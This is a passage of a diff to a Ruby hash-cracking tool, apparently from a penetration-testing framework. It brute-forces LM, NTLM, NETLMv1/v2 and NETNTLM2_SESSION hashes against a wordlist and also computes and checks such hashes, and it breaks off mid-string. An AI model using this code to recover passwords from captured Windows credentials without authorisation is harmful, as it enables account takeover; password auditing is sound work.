"[*] User or domain must not be provided with this type" + exit + end end case type when "HALFLM" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] HALFLM HASH must be exactly 16 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - if password =~ /^.{1,7}$/ - puts password - calculatedhash = CRYPT::lm_hash(password,true).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{password.upcase}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not pass =~ /^.{0,7}$/ - $stderr.puts "[*] LM password can not be bigger then 7 characters" - exit - end - calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase - puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}" - exit - when PASS_MODE - if not pass =~ /^.{0,7}$/ - $stderr.puts "[*] LM password can not be bigger then 7 characters" - exit - end - if not hash =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] LM HASH must be exactly 16 bytes of hexadecimal" - exit - end - calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{pass.upcase}" - exit - else - puts "[*] Incorrect password provided : #{pass.upcase}" - exit - end - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] HALFLM HASH must be exactly 16 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + if password =~ /^.{1,7}$/ + puts password + calculatedhash = CRYPT::lm_hash(password,true).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{password.upcase}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not pass =~ /^.{0,7}$/ + $stderr.puts "[*] LM password can not be bigger then 7 characters" + exit + end + calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase + puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}" + exit + when PASS_MODE + if not pass =~ /^.{0,7}$/ + $stderr.puts "[*] LM password can not be bigger then 7 characters" + exit + end + if not hash =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] LM HASH must be exactly 16 bytes of hexadecimal" + exit + end + calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{pass.upcase}" + exit + else + puts "[*] Incorrect password provided : #{pass.upcase}" + exit + end + end when "LM" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - if password =~ /^.{1,14}$/ - puts password - calculatedhash = CRYPT::lm_hash(password.upcase).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{password.upcase}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not pass =~ /^.{0,14}$/ - $stderr.puts "[*] LM password can not be bigger then 14 characters" - exit - end - calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase - puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}" - exit - when PASS_MODE - if not pass =~ /^.{0,14}$/ - $stderr.puts "[*] LM password can not be bigger then 14 characters" - exit - end - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal" - exit - end - calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{pass.upcase}" - exit - else - puts "[*] Incorrect password provided : #{pass.upcase}" - exit - end - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + if password =~ /^.{1,14}$/ + puts password + calculatedhash = CRYPT::lm_hash(password.upcase).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{password.upcase}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not pass =~ /^.{0,14}$/ + $stderr.puts "[*] LM password can not be bigger then 14 characters" + exit + end + calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase + puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}" + exit + when PASS_MODE + if not pass =~ /^.{0,14}$/ + $stderr.puts "[*] LM password can not be bigger then 14 characters" + exit + end + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal" + exit + end + calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{pass.upcase}" + exit + else + puts "[*] Incorrect password provided : #{pass.upcase}" + exit + end + end when "NTLM" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - for permutedpw in permute_pw(password) - puts permutedpw - calculatedhash = CRYPT::ntlm_hash(permutedpw).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{permutedpw}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - calculatedhash = CRYPT::ntlm_hash(pass).unpack("H*")[0].upcase - puts "[*] The NTLM hash for #{pass} is : #{calculatedhash}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal" - exit - end - for permutedpw in permute_pw(pass) - calculatedhash = CRYPT::ntlm_hash(permutedpw).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{permutedpw}" - exit - end - end - puts "[*] Incorrect password provided : #{pass}" - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + for permutedpw in permute_pw(password) + puts permutedpw + calculatedhash = CRYPT::ntlm_hash(permutedpw).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{permutedpw}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + calculatedhash = CRYPT::ntlm_hash(pass).unpack("H*")[0].upcase + puts "[*] The NTLM hash for #{pass} is : #{calculatedhash}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal" + exit + end + for permutedpw in permute_pw(pass) + calculatedhash = CRYPT::ntlm_hash(permutedpw).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{permutedpw}" + exit + end + end + puts "[*] Incorrect password provided : #{pass}" + end when "HALFNETLMv1" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] NETLMv1 HASH must be exactly 16 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - if password =~ /^.{1,7}$/ - puts password - #Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one - arglm = { :lm_hash => CRYPT::lm_hash(password,true)[0,7], - :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{password.upcase}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not pass =~ /^.{0,7}$/ - $stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7], - :challenge => [ srvchal ].pack("H*") } - - calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase - puts "[*] The HALFNETLMv1 hash for #{pass.upcase} is : #{calculatedhash}" - exit - when PASS_MODE - if not pass =~ /^.{0,7}$/ - $stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters" - exit - end - if not hash =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] HALFNETLMv1 HASH must be exactly 16 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - #Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one - arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7], - :challenge => [ srvchal ].pack("H*") } - - calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{pass.upcase}" - exit - else - puts "[*] Incorrect password provided : #{pass.upcase}" - exit - end - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] NETLMv1 HASH must be exactly 16 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + if password =~ /^.{1,7}$/ + puts password + #Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one + arglm = { :lm_hash => CRYPT::lm_hash(password,true)[0,7], + :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{password.upcase}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not pass =~ /^.{0,7}$/ + $stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7], + :challenge => [ srvchal ].pack("H*") } + + calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase + puts "[*] The HALFNETLMv1 hash for #{pass.upcase} is : #{calculatedhash}" + exit + when PASS_MODE + if not pass =~ /^.{0,7}$/ + $stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters" + exit + end + if not hash =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] HALFNETLMv1 HASH must be exactly 16 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + #Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one + arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7], + :challenge => [ srvchal ].pack("H*") } + + calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{pass.upcase}" + exit + else + puts "[*] Incorrect password provided : #{pass.upcase}" + exit + end + end when "NETLMv1" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - if password =~ /^.{1,14}$/ - puts password - arglm = { :lm_hash => CRYPT::lm_hash(password), - :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{password.upcase}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not pass =~ /^.{1,14}$/ - $stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - arglm = { :lm_hash => CRYPT::lm_hash(pass), - :challenge => [ srvchal ].pack("H*") } - - calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase - puts "[*] The NETLMv1 hash for #{pass.upcase} is : #{calculatedhash}" - exit - when PASS_MODE - if not pass =~ /^.{1,14}$/ - $stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters" - exit - end - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - arglm = { :lm_hash => CRYPT::lm_hash(pass), - :challenge => [ srvchal ].pack("H*") } - - calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{pass.upcase}" - exit - else - puts "[*] Incorrect password provided : #{pass.upcase}" - exit - end - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + if password =~ /^.{1,14}$/ + puts password + arglm = { :lm_hash => CRYPT::lm_hash(password), + :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{password.upcase}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not pass =~ /^.{1,14}$/ + $stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + arglm = { :lm_hash => CRYPT::lm_hash(pass), + :challenge => [ srvchal ].pack("H*") } + + calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase + puts "[*] The NETLMv1 hash for #{pass.upcase} is : #{calculatedhash}" + exit + when PASS_MODE + if not pass =~ /^.{1,14}$/ + $stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters" + exit + end + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + arglm = { :lm_hash => CRYPT::lm_hash(pass), + :challenge => [ srvchal ].pack("H*") } + + calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{pass.upcase}" + exit + else + puts "[*] Incorrect password provided : #{pass.upcase}" + exit + end + end when "NETNTLMv1" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - for permutedpw in permute_pw(password) - puts permutedpw - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), - :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{permutedpw}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), - :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase - puts "[*] The NETNTLMv1 hash for #{pass} is : #{calculatedhash}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - for permutedpw in permute_pw(pass) - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), - :challenge => [ srvchal ].pack("H*") } - - calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{permutedpw}" - exit - end - end - puts "[*] Incorrect password provided : #{pass}" - exit - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + for permutedpw in permute_pw(password) + puts permutedpw + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), + :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{permutedpw}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), + :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase + puts "[*] The NETNTLMv1 hash for #{pass} is : #{calculatedhash}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + for permutedpw in permute_pw(pass) + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), + :challenge => [ srvchal ].pack("H*") } + + calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{permutedpw}" + exit + end + end + puts "[*] Incorrect password provided : #{pass}" + exit + end when "NETNTLM2_SESSION" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - for permutedpw in permute_pw(password) - puts permutedpw - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :client_challenge => [ clichal ].pack("H*")} - - calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase - - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{permutedpw}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :client_challenge => [ clichal ].pack("H*")} - - calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase - puts "[*] The NETNTLM2_SESSION hash for #{pass} is : #{calculatedhash}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - for permutedpw in permute_pw(pass) - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :client_challenge => [ clichal ].pack("H*")} - - calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase - - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{permutedpw}" - exit - end - end - puts "[*] Incorrect password provided : #{pass}" - exit - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + for permutedpw in permute_pw(password) + puts permutedpw + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :client_challenge => [ clichal ].pack("H*")} + + calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase + + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{permutedpw}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :client_challenge => [ clichal ].pack("H*")} + + calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase + puts "[*] The NETNTLM2_SESSION hash for #{pass} is : #{calculatedhash}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + for permutedpw in permute_pw(pass) + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :client_challenge => [ clichal ].pack("H*")} + + calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase + + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{permutedpw}" + exit + end + end + puts "[*] Incorrect password provided : #{pass}" + exit + end when "NETLMv2" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge mus be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end - - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - puts password - arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,password, domain), - :challenge => [ srvchal ].pack("H*") } - optlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase - if calculatedhash.slice(0,32) == hash.upcase - puts "[*] Correct password found : #{password}" - exit - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end - - arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain), - :challenge => [ srvchal ].pack("H*") } - optlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase - - puts "[*] The NETLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 